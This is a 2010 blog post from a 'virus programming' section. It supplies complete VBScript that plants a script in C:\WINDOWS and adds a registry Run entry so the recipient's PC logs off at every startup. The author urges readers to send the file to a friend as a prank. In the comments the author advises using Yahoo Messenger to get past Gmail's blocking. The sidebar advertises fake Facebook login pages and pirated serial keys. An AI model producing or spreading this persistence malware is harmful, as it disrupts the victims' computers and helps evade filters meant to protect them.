Recent Articles
Create Virus to Log Off Windows every time at Start up
Monday, August 2, 2010|
Surbhi Verma
From today i m starting a new section here on my site, which will help you to learn about virus programming and also you can make small viruses on your PC just using notepad.... :)
This first post of virus programming will tell you about... how you can make a virus that will shutdown a PC Automatically at Startup. Every time when a victim will restart his PC, it will be shutdown.
Ok, just open the notepad and type the paste the following code:
code:
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript. vbs","REG_SZ”
Now save this notepad file with any name having .vbs extension....
Now send it to ur friend.... and Frustrate your friend by shutting down his computer automatically on startup ;)
How to get rid of this virus:
for that just boot ur system in safe mode and then go to directory c:\ windows.... find out wscript.vbs file there.... and delete it :)
Posted in
Virus Programming
3 comments for this post
Leave a reply
Subscribe to:
Post Comments (Atom)
TechByte4U on Facebook
Popular Posts
free idm, serial key Internet Download Manager(also known as Idman) is an excellent internet download accelerator that will care of...
last week a person requested here to explain how to make a fake login page of Facebook.. So i am giving a lesson here about making fake ...
How to get Account on Google+ ? get google plus invitation Hello All, Google+ is still available using the invitation process, It wi...
Windows Genuine Notifications is a problem that every computer operator faces in her life. It notifies you if a copy of Windows XP is not ge...
Free winrar, Full version Winrar, Winrar Serial key I guess everyone know what is Winrar, and what it works. So without going into t...
Internet Download Manager 6.07 Registration Serial Number free idm, serial key Hi Friends, In this tutorial i am gonna explain a way...
Hi friends, Techbyte4u is growing day by day, and last month we got 50000+ pageviews and 25000+ unique visitors. So, Techbyte 4 U an...
These days when anyone try to create new account on gmail, it says you to enter your mobile no. and then it verify your no. by s...
You have no more need to read the long Pdf files line by line. Now feel free, coz your pdf will read out itself for you. Many peo...
Hey Friends, In my last post i have told you about the browser's fact of storing passwords after prompting 'Do you want t...
Nitasha
September 19, 2010 at 12:20 PM
gud hmmm !!!
Unknown
April 2, 2012 at 4:37 PM
but gmail do not accept this file
Surbhi Verma
April 3, 2012 at 11:22 AM
yes, gmail does not accept virus files, try to send it through yahoo messenger.